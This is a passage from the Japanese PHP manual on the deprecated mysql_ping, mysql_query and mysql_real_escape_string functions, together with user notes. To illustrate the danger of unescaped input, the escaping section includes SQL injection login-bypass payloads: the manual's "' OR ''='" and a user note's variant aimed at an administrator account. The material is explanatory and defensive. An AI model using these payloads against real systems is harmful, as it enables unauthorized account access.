If you get 'error 2006: MySQL server has gone away' messages when running (really) long scripts, mysql_ping will help detecting the loss of the db-connection. This can happen, when 'wait timeout' is reached (MySQL default is 8 hours).
miro dot dietiker at md-systems dot ch 31-Aug-2007 11:32
When checking if a $resource works...
be prepared that mysql_ping returns NULL as long as $resource is no correct mysql resource.
<?php
$resource =NULL;
var_dump = @mysql_ping($resource);
# showing NULL
?>
This could be used to decide of a current $resource is a mysql or a mysqli connection when nothing else is available to do that...
dustin hawkins 31-Jul-2006 12:32
When using the mysql_ping command under php 5.1.2 and mysql 5.0, I was having problems with the auto-reconnect "feature", mainly that when the connection was severed, a mysql_ping would not automatically re-establish the connection to the database.

The connection to the DB is dropped when the time without a query excedes the wait_timeout value in my.cnf. You can check your wait_timeout by running the query "SHOW VARIABLES;"

If you're having problems auto-reconnecting when the connection is dropped, use this code:

<?php

$conn = mysql_connect('localhost','user','pass');
mysql_select_db('db',$conn);

if (!mysql_ping ($conn)) {
   //here is the major trick, you have to close the connection (even though its not currently working) for it to recreate properly.
   mysql_close($conn);
   $conn = mysql_connect('localhost','user','pass');
   mysql_select_db('db',$conn);
}

//run queries knowing that your connection is alive....

?>
cybot2000 at yahoo dot de 25-May-2005 04:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br 16-Mar-2004 07:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.


MySQL クエリを送信する

  • ≪ mysql_ping
  • mysql_real_escape_string ≫
  • PHP Manual
  • MySQL 関数
  • MySQL クエリを送信する

mysql_query

(PHP 4, PHP 5)

mysql_query — MySQL クエリを送信する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_query()
  • PDO::query()

説明

mysql_query ( string $query , resource $link_identifier = NULL ) : mixed

mysql_query() は、 ひとつのクエリを送信します (複数クエリの送信はサポートしません)。 送信先は、link_identifier で指定したサーバー上にある、現在アクティブなデータベースです。

パラメータ

query

SQL クエリ。

クエリ文字列は、セミコロンで終えてはいけません。 クエリ内のデータは 適切にエスケープ する必要があります。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

SELECT, SHOW, DESCRIBE や EXPLAIN 文、その他結果セットを返す文では、 mysql_query() は成功した場合に resource を返します。エラー時には false を返します。

それ以外の SQL 文 INSERT, UPDATE, DELETE, DROP などでは、 mysql_query() は成功した場合に true 、エラー時に false を返します。

返された結果にアクセスするためには、結果リソースを mysql_fetch_array() やその他の関数に渡します。

SELECT 文によって返された行の数を知るには mysql_num_rows() を用います。また DELETE, INSERT, REPLACE, または UPDATE 文で変更された行の数を 知るには mysql_affected_rows() を用います。

クエリが参照するテーブルにアクセスする権限がない場合も mysql_query()は失敗し、false が返されます。

例

例1 間違ったクエリ

次のクエリは文法的に間違っているので、 mysql_query()は失敗し falseを返します。

<?php
$result = mysql_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . mysql_error());
}

?>

例2 正しいクエリ

次のクエリは正しいので、mysql_query() は resource を返します。

<?php
// これはユーザーが指定する。たとえば
$firstname = 'fred';
$lastname  = 'fox';

// クエリの作成
// これは SQL クエリを実行する最良の方法です。
// さらなる例は、mysql_real_escape_string() を参照ください。
$query = sprintf("SELECT firstname, lastname, address, age FROM friends
    WHERE firstname='%s' AND lastname='%s'",
    mysql_real_escape_string($firstname),
    mysql_real_escape_string($lastname));

// クエリの実行
$result = mysql_query($query);

// 結果のチェック
// MySQL に送られたクエリと返ってきたエラーをそのまま表示します。デバッグに便利です。
if (!$result) {
    $message  = 'Invalid query: ' . mysql_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// 結果の利用
// $result をそのまま出力してもリソースの内部の情報にはアクセスできません。
// 結果に対して MySQL の関数を適用する必要があります。
// mysql_result(), mysql_fetch_array(), mysql_fetch_row() なども参照ください。
while ($row = mysql_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// 結果セットに関連付けられているリソースの開放
// これは、スクリプトが終了する際に自動的に実行されます。
mysql_free_result($result);
?>

参考

  • mysql_connect() - MySQL サーバーへの接続をオープンする
  • mysql_error() - 直近に実行された MySQL 操作のエラーメッセージを返す
  • mysql_real_escape_string() - SQL 文中で用いる文字列の特殊文字をエスケープする
  • mysql_result() - 結果データを得る
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_unbuffered_query() - MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

User Contributed Notes

fbraz3 at gmail dot com 30-May-2018 07:36
This project implements a wrapper to mysql functions in PHP7.0+

https://github.com/OOPS-ORG-PHP/mysql-extension-wrapper

tested and working fine =)
mwwaygoo at hotmail dot com 03-Apr-2012 02:16
I much prefer to use the same syntax for single INSERT, REPLACE and UPDATE queries as it is easier to read and keeps my code shorter (no seperate building of insert and update values)

INSERT INTO table SET x='1', y=3
UPDATE table SET x='2' WHERE y=3

So if your using a function to build your query, you will only ever need to code the "field=value, field2=value2" part for any query.
ddlshack [at] gmail.dot.com 20-Dec-2010 09:12
Use this to neatly insert data into a mysql table:

<?php
function mysql_insert($table, $inserts) {
    $values = array_map('mysql_real_escape_string', array_values($inserts));
    $keys = array_keys($inserts);

    return mysql_query('INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')');
}
?>

For example:

<?php

mysql_insert('cars', array(
    'make' => 'Aston Martin',
    'model' => 'DB9',
    'year' => '2009',
));
?>
Richie (at) RichieBartlett.com 28-Sep-2009 04:43
For those of you whom spent hours bashing your brains against the keyboard wondering why your non-English characters are output as question marks... Try the following:

<?php

$db = mysql_connect('YOUR_DB_ADDRESS','YOUR_DB_USER','YOUR_DB_PASS') or die("Database error");
mysql_select_db('YOUR_DB', $db);

//SOLUTION::  add this comment before your 1st query -- force multiLanuage support
$result = mysql_query("set names 'utf8'");

$query = "select * from YOUR_DB_TABLE";
$result = mysql_query($query);

//-THE_REST_IS_UP_TO_YOU-

?>

Simply run the query "set names 'utf8' " against the MySQL DB and your output should appear correct.
Anonymous 25-Jun-2009 08:18
When processing a RENAME TABLE query, PHP apparently always returns false, no matter if the query was successfully processed or not.
ialsoagree 30-Jan-2009 08:24
When you run a select statement and receive a response, the data types of your response will be a string regardless of the data type of the column.

<?php
// Query to select an int column
$query = 'SELECT user_id FROM users WHERE user_id = 1';
$result = mysql_query($query);
$array = mysql_fetch_assoc($result);

// Echoes: string
echo gettype($array['user_id']);
?>
Mr. Tim 18-Sep-2008 11:42
It should be noted that mysql_query can generate an E_WARNING (not documented).  The warning that I hit was when the db user did not have permission to execute a UDF.

Expected behavior would be like an Invalid SQL statement, where there is no E_WARNING generated by mysql_query.

Warning: mysql_query() [function.mysql-query]: Unable to save result set in filename.php

The mysql_errno is 1370 and the mysql_error is:

execute command denied to user 'username'@'%' for routine 'database_name.MyUDF'
fernandoleal at loytek dot com 16-Jun-2008 03:28
Dunno if is it a bug but when you are working with replications servers and work with multiple databases queries if you don't select the database it will only insert,update,delete into the master and bypass the slave, I think it its because it doesn't insert the sql on the binary log so the work around its to just call mysql_select_db
MYSQL : 5.0.51a-log
PHP: 5.2.6
Example:
<?php
#Inserts only to master
$link=mysql_connect('host','user','pass');
$sql ="INSERT INTO mysql.host (host) VALUES ('localhost');"
var_dump(mysql_query($sql,$link));

#The Working Way Master - Slave
$link2=mysql_connect('host','user','pass');
$select_db = mysql_select_db('mysql', $link2);
var_dump(mysql_query($sql,$link2));
?>
rogier 10-Apr-2008 06:55
For all you programmers out there getting the 'Command out of synch' errors when executing a stored procedure call:

There are known bugs related to this issue, and the best workaround for avoiding this error seems to be switching to mysqli.

Still, I needed mysql to also handle these calls correctly.
The error is normally related to wrong function call sequences, though the bug report at  http://bugs.php.net/bug.php?id=39727 shows otherwise.

For me, after commenting out hundreds of lines and several introspection calls to parse the procedure information (using information_schema and 'SHOW' extensions), I still got the same error.
The first result is returned, because I initiated my connection using the MYSQL_MULTI_RESULTS value of 131072 (forget this and you will never get any output, but an error message stating mysql cannot return results in this context)

After testing with this code (sproc2 simply calls 'SELECT * FROM sometable'), I found the error must be in the mysql library/extension. Somehow, mysql does not handle multiple resultsets correctly, or is at least missing some functionality related to handling multiple results.

<?php
    //...
    $rs = mysql_query('CALL sproc2(500)');
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);

    $rs = mysql_query('CALL sproc2(500)');
    print mysql_error(); //the notorious 'command out of synch' message :(
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);
?>

After spending hours debugging my code (the full library is already over the MB), the only solution seemed to be to CLOSE the connection after the first call, and reopening it before the second.

So if you ever make a uniform database accessing interface and implement stored procedures/prepared statements (or classes for it), this could be a solution if you really wish to enable stored procedures.

Still, be aware that this is really a serious flaw in your design (and IMHO, the mysql extension)

Also see the documentation for mysqli on mysqli_query, which seems to be working fine.
masteracc0 at aol dot com 17-Nov-2007 10:00
Keep in mind when dealing with PHP & MySQL that sending a null-terminated string to a MySQL query can be misleading if you use echo($sql) in PHP because the null terminator may not be visible.

For example (this assumes connection is already made),
$string1 = "mystring\0";
$string2 = "mystring";

$query1 = "SELECT * FROM table WHERE mystring='".$string1."'"
$query2 = "SELECT * FROM table WHERE mystring='".$string2."'"

$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);

Not knowing this could lead to some mind-numbing troubleshooting when dealing with any strings with a null terminator.  So now you know! :)
halion at gmail dot com 09-Aug-2007 02:53
mysql_query doesnt support multiple queries, a way round this is to use innodb and transactions

this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
      $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
jack dot whoami at gmail dot com 01-Aug-2007 06:13
Simulating an atomic operation for application locks using mysql.

$link = mysql_connect('localhost', 'user', 'pass');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}

$q = "update `table` set `LOCK`='F' where `ID`='1'";
$lock = mysql_affected_rows();

If we assume
     NOT LOCKED = "" (empty string)
     LOCKED = 'F'

then if the column LOCK had a value other than F (normally should be an empty string) the update statement sets it to F and set the affected rows to 1. Which mean than we got the lock.
If affected rows return 0 then the value of that column was already F and somebody else has the lock.

The secret lies in the following statement taken from the mysql manual:
"If you set a column to the value it currently has, MySQL notices this and does not update it."

Of course all this is possible if the all application processes agree on the locking algorithm.
veyita_angi at hotmail dot com 04-Oct-2006 09:35
this could be a nice way to print values from 2 tables with a foreign key. i have not yet tested correctly but it should work fine.

$buscar = mysql_query("SELECT k.*, e.Clasificacion FROM cat_plan_k k, cat_equipo e WHERE Tipo='$tipo' AND k.ID_Eq=a.ID_Eq");
    while ($row=mysql_fetch_array($buscar))
        {
            $nombre = "e.Clasificacion";
            $row[$nombre] = $Clasific; echo $row[$nombre].'convertido en '.$Clasific;
        }
    mysql_free_result($buscar);
cc+php at c2se dot com 02-Sep-2006 05:39
Here's a parameterised query function for MySQL similar to pg_query_params, I've been using something similar for a while now and while there is a slight drop in speed, it's far better than making a mistake escaping the parameters of your query and allowing an SQL injection attack on your server.

<?php   # Parameterised query implementation for MySQL (similar PostgreSQL's PHP function pg_query_params)
        # Example: mysql_query_params( "SELECT * FROM my_table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );

        if( !function_exists( 'mysql_query_params' ) ) {

                function mysql_query_params__callback( $at ) {
                        global $mysql_query_params__parameters;
                        return $mysql_query_params__parameters[ $at[1]-1 ];
                }

                function mysql_query_params( $query, $parameters=array(), $database=false ) {

                        // Escape parameters as required & build parameters for callback function
                        global $mysql_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : ( NULL===$v ? 'NULL' : "'".mysql_real_escape_string( $v )."'" ) );
                        $mysql_query_params__parameters = $parameters;

                        // Call using mysql_query
                        if( false===$database )
                                return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ) );
                        else    return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ), $database );

                }
        }

?>
rob desbois 07-Jul-2006 02:38
Note that the 'source' command used in the mysql client program is *not* a feature of the server but of the client.
This means that you cannot do
   mysql_query('source myfile.sql');
You will get a syntax error. Use LOAD DATA INFILE as an alternative.
22-Feb-2006 11:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
    // mysql_query() wrapper. takes two arguments. first
    // is the query with '?' placeholders in it. second argument
    // is an array containing the values to substitute in place
    // of the placeholders (in order, of course).
    function mysql_prepare ($query, $phs = array()) {
        foreach ($phs as $ph) {
            $ph = "'" . mysql_real_escape_string($ph) . "'";
            $query = substr_replace(
                $query, $ph, strpos($query, '?'), 1
            );
        }

        return mysql_query($query);
    }

    // sample usage
    list($user, $passwd) = array('myuser', 'mypass');

    $sth = mysql_prepare(
        'select userid from users where userid=? and passwd=?',
        array($user, sha1($passwd))
    );
    $row = mysql_fetch_row($sth);

    // successfull username & password authentication
    if ($row !== false) {
        echo "logging in as '{$row[0]}'!\n";
    }

    // oops, wrong userid or passwd
    else {
        echo "Invalid username and password combination.\n";
    }
?>
php at arcannon dot com 01-Oct-2005 03:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
ix at nivelzero dot ro 14-Aug-2005 03:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
    $file_content = file($url);
    $query = "";
    foreach($file_content as $sql_line){
      if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
        $query .= $sql_line;
        if(preg_match("/;[\040]*\$/", $sql_line)){
          $result = mysql_query($query)or die(mysql_error());
          $query = "";
        }
      }
    }
  }
?>
wjyong at sh163 dot net 30-Apr-2005 04:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net 25-Jan-2005 05:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}

/* malformed query /*
$rs = mysql_query("SELECT `foo` FRO `bar`");
if($rs) {
  echo "This will never be echoed";
}
?>
Predrag Supurovic 30-Nov-2003 04:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
      $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
    };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
    $command_line = trim($command_line);
    if ($command_line != '') {
      $query_result = mysql_query($command_line);
      if ($query_result == 0) {
        break;
      };
    };
  };
  return $query_result;
}
chris at hotmail dot com 30-Apr-2003 06:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net 19-Apr-2003 12:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
    {
    $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
    $dbQuery = mysql_query($dbSQL);

    $dbRow = mysql_fetch_assoc($dbQuery);
    $EnumValues = $dbRow["Type"];

    $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
    $EnumValues = str_replace("','",",",$EnumValues);

    return explode(",",$EnumValues);
    }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 12:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net 28-Mar-2003 05:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
nikhil-php at nols dot com 02-Jan-2000 12:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536


SQL 文中で用いる文字列の特殊文字をエスケープする

  • ≪ mysql_query
  • mysql_result ≫
  • PHP Manual
  • MySQL 関数
  • SQL 文中で用いる文字列の特殊文字をエスケープする

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — SQL 文中で用いる文字列の特殊文字をエスケープする

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_real_escape_string()
  • PDO::quote()

説明

mysql_real_escape_string ( string $unescaped_string , resource $link_identifier = NULL ) : string

現在の接続の文字セットで unescaped_string の特殊文字をエスケープし、 mysql_query() で安全に利用できる形式に変換します。バイナリデータを挿入しようとしている場合、 必ずこの関数を利用しなければなりません。

mysql_real_escape_string() は、MySQL のライブラリ関数 mysql_real_escape_string をコールしています。 これは以下の文字について先頭にバックスラッシュを付加します。 \x00, \n, \r, \, ', " そして \x1a.

データの安全性を確保するため、MySQL へクエリを送信する場合には （わずかな例外を除いて）常にこの関数を用いなければなりません。

警告

セキュリティ: デフォルトの文字セット

サーバーレベルで設定するなり API 関数 mysql_set_charset() を使うなりして、 文字セットを明示しておく必要があります。この文字セットが mysql_real_escape_string() に影響を及ぼします。詳細は 文字セットの概念 を参照ください。

パラメータ

unescaped_string

エスケープされる文字列。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合にエスケープ後の文字列、失敗した場合に false を返します。

エラー / 例外

MySQL 接続が存在しない状態でこの関数を実行すると、 E_WARNING レベルのエラーが発生します。 この関数は、MySQL 接続が確立した状態でのみ実行するようにしましょう。

例

例1 単純な mysql_real_escape_string() の例

<?php
// 接続
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    OR die(mysql_error());

// クエリ
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
            mysql_real_escape_string($user),
            mysql_real_escape_string($password));
?>

例2 mysql_real_escape_string() には接続が必須であることを示す例

この例では、MySQL 接続が存在しない状態でこの関数を実行したときにどうなるかを示します。

<?php
// まだ MySQL に接続していません

$lastname  = "O'Reilly";
$_lastname = mysql_real_escape_string($lastname);

$query = "SELECT * FROM actors WHERE last_name = '$_lastname'";

var_dump($_lastname);
var_dump($query);
?>

上の例の出力は、 たとえば以下のようになります。

Warning: mysql_real_escape_string(): No such file or directory in /this/test/script.php on line 5
Warning: mysql_real_escape_string(): A link to the server could not be established in /this/test/script.php on line 5

bool(false)
string(41) "SELECT * FROM actors WHERE last_name = ''"

例3 SQL インジェクション攻撃の例

<?php
// $_POST['password'] をチェックしなければ、このような例でユーザーに望みどおりの情報を取得されてしまう
$_POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";

// データベース上のユーザーに一致するかどうかを調べる
$query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
mysql_query($query);

// MySQL に送信されたクエリは、
echo $query;
?>

MySQL に送信されたクエリは次のとおり:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

これでは、パスワードを知らなくても誰でもログインできてしまいます。

注意

注意:

mysql_real_escape_string() を利用する前に、MySQL 接続が確立されている必要があります。もし存在しなければ、 E_WARNING レベルのエラーが生成され、false が返されます。link_identifier が指定されなかった場合は、 直近の MySQL 接続が用いられます。

注意:

magic_quotes_gpc が有効な場合は、 まず最初に stripslashes() を適用します。そうしないと、 すでにエスケープされているデータに対してさらにエスケープ処理を してしまうことになります。

注意:

この関数を用いてデータをエスケープしなければ、クエリは SQL インジェクション攻撃 に対しての脆弱性を持ったものになります。

注意: mysql_real_escape_string() は % や _ をエスケープしません。 MySQL では、これらの文字を LIKE, GRANT, または REVOKE とともに用いることで、 ワイルドカードを表現します。

参考

  • mysql_set_charset() - クライアントの文字セットを設定する
  • mysql_client_encoding() - 文字セット名を返す
  • addslashes() - 文字列をスラッシュでクォートする
  • stripslashes() - クォートされた文字列のクォート部分を取り除く
  • The magic_quotes_gpc ディレクティブ
  • The magic_quotes_runtime ディレクティブ

User Contributed Notes

Aljo 04-Nov-2017 05:14
@feedr
I elaborated his note as following:
$string = "asda\0sd\x1aas\\\\\\\\dasd\'asdasd\na\'\'sdasdad";
$array1 = array('\\\\\\\\', '\0', '\n', '\r', "'", '"', '\x1a');
$array2 = array('\\\\\\\\\\\\\\\\', '\\\0', '\\\n', '\\\r', "\\\'", '\\\"', '\\\Z');
echo($string);
echo(PHP_EOL);
for( $i=0; $i<count($array1); $i++ ) {
    if ($i==0)
    $p = '/(?<!\\\\)'.$array1[$i].'(?!\\\\)/';
    else
    $p = '/(?<!\\\\)'.$array1[$i].'/';
    echo($i);
    echo($p);
    echo( $array2[$i]);
    $string = preg_replace($p, $array2[$i], $string);
    echo("\t");
    echo($string);
    echo(PHP_EOL);
}
echo(PHP_EOL);
echo($string);
jonnie 31-Mar-2017 10:53
To Quote Sam at Numb Safari

[ "No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements." ]

Sam is right........

However I do not think it is sensible to stop all sanitising and simply pass the task on to parametric prepared statements.

A particular developer working in a particular situation will always know more about valid input (specific to that context).

If you ask a user to pass in a value you have already given them and you know that all such values start AB****** and the string should be of length 7 or 11 but never any other length then you have the basis of a good pre-sanitiser - different allowable lengths of a string might indicate legacy data.

I would never want to simply pass the rubbish that a malicious user may have passed in through a form to the parametric prepared statements, I would always want to do my own sanity checks first and in some cases these may err on the side of caution and simply choose to abort the Database op completely.

That way my DB does not get clogged up with unsafe statements made safe - it simply does not get clogged up which is better.

Security in layers - sanitisation and validation should still be considered in every situation BEFORE using prepared statements.

In addition as far as I can read into the official doc
==============================================

"Escaping and SQL injection

Bound variables are sent to the server separately from the query and thus cannot interfere with it. The server uses these values directly at the point of execution, after the statement template is parsed. Bound parameters do not need to be escaped as they are never substituted into the query string directly"

That suggests to me that danger is avoided in the internals by alternative handling not by nullification.

This means that a large project with incomplete conversion to prepared statements, legacy code in different parts of an organisation or servers talking to one another could all pass on the bad news from an immune location or situation to one that is not immune.

As long as the sanitisation is competently performed without incurring additional risks then personally I would stick with certain layers of sanitisation and then call the prepared statements.
sam at numbsafari dot com 19-Oct-2012 05:33
No discussion of escaping is complete without telling everyone that you should basically never use external input to generate interpreted code. This goes for SQL statements, or anything you would call any sort of "eval" function on.

So, instead of using this terribly broken function, use parametric prepared statements instead.

Honestly, using user provided data to compose SQL statements should be considered professional negligence and you should be held accountable by your employer or client for not using parametric prepared statements.

What does that mean?

It means instead of building a SQL statement like this:

"INSERT INTO X (A) VALUES(".$_POST["a"].")"

You should use mysqli's prepare() function (http://php.net/manual/en/mysqli.prepare.php) to execute a statement that looks like this:

"INSERT INTO X (A) VALUES(?)"

NB: This doesn't mean you should never generate dynamic SQL statements. What it means is that you should never use user-provided data to generate those statements. Any user-provided data should be passed through as parameters to the statement after it has been prepared.

So, for example, if you are building up a little framework and want to do an insert to a table based on the request URI, it's in your best interest to not take the $_SERVER['REQUEST_URI'] value (or any part of it) and directly concatenate that with your query. Instead,  you should parse out the portion of the $_SERVER['REQUEST_URI'] value that you want, and map that through some kind of function or associative array to a non-user provided value. If the mapping produces no value, you know that something is wrong with the user provided data.

Failing to follow this has been the cause of a number of SQL-injection problems in the Ruby On Rails framework, even though it uses parametric prepared statements. This is how GitHub was hacked at one point. So, no language is immune to this problem. That's why this is a general best practice and not something specific to PHP and why you should REALLY adopt it.

Also, you should still do some kind of validation of the data provided by users, even when using parametric prepared statements. This is because that user-provided data will often become part of some generated HTML, and you want to ensure that the user provided data isn't going to cause security problems in the browser.
Walter Tross 30-Mar-2012 02:20
For further information:
http://dev.mysql.com/doc/refman/5.5/en/mysql-real-escape-string.html
(replace your MySQL version in the URL)
feedr 05-Dec-2010 08:38
Just a little function which mimics the original mysql_real_escape_string but which doesn't need an active mysql connection. Could be implemented as a static function in a database class. Hope it helps someone.

<?php
function mysql_escape_mimic($inp) {
    if(is_array($inp))
        return array_map(__METHOD__, $inp);

    if(!empty($inp) && is_string($inp)) {
        return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp);
    }

    return $inp;
}
?>
presto dot dk at gmail dot com 28-Jan-2010 07:05
If you want to make sure that the ID you're using to do a query is a number, use sprint() of (int) or intval(), but don't use mysql_real_escape_string.

There is no difference between ISO-8859-1's number 10 and UTF-8's number 10.
strata_ranger at hotmail dot com 08-Dec-2009 11:17
There's an interesting quirk in the example #2 about SQL injection:  AND takes priority over OR, so the injected query actually executes as WHERE (user='aidan' AND password='') OR ''='', so instead of returning a database record corresponding to an arbitrary username (in this case 'aidan'), it would actually return ALL database records.  In no particular order.  So an attacker might be able to log in as any account, but not necessarily with any control over which account it is.

Of course a potential attacker could simply modify their parameters to target specific users of interest:

<?php

// E.g. attacker's values
$_POST['username'] = '';
$_POST['password'] = "' OR user = 'administrator' AND '' = '";

// Malformed query
$query = "SELECT * FROM users WHERE user='$_POST[username]' AND password='$_POST[password]'";

echo $query;

// The query sent to MySQL would read:
// SELECT * FROM users WHERE user='' AND password='' OR user='administrator' AND ''='';
// which would allow anyone to gain access to the account named 'administrator'

?>
plgs at ozemail dot com dot au 27-Jul-2009 01:05
